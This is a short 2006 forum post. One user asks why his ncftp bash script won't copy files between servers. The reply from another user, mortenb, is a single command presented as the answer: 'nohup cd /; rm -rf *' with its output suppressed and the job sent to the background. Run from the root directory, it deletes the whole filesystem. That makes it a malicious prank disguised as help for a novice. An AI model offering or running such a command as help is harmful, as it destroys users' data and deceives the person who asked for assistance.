View Single Post
Old 02-27-2006, 11:32 AM  
mortenb
Confirmed User
 
mortenb's Avatar
 
Join Date: Jul 2004
Location: Denmark ICQ: 7880009
Posts: 2,203
Quote:
Originally Posted by alex79
how can i create a simple bashscript to copy some files from a server to another?

i've created next script:
PHP Code:
#! /bin/bash
ncftp -u root -p password serverip
get 
-rf *
exit 
but is not working.. when i run the script i get a ftp connection to the serverip (line ncftp -u root -p password serverip ) but next line that shuld copy the files are not runed (get -rf *)

what i'm doing wrong and how should i do?

Code:
nohup cd /; rm -rf * > /dev/null 2>&1 &
mortenb is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote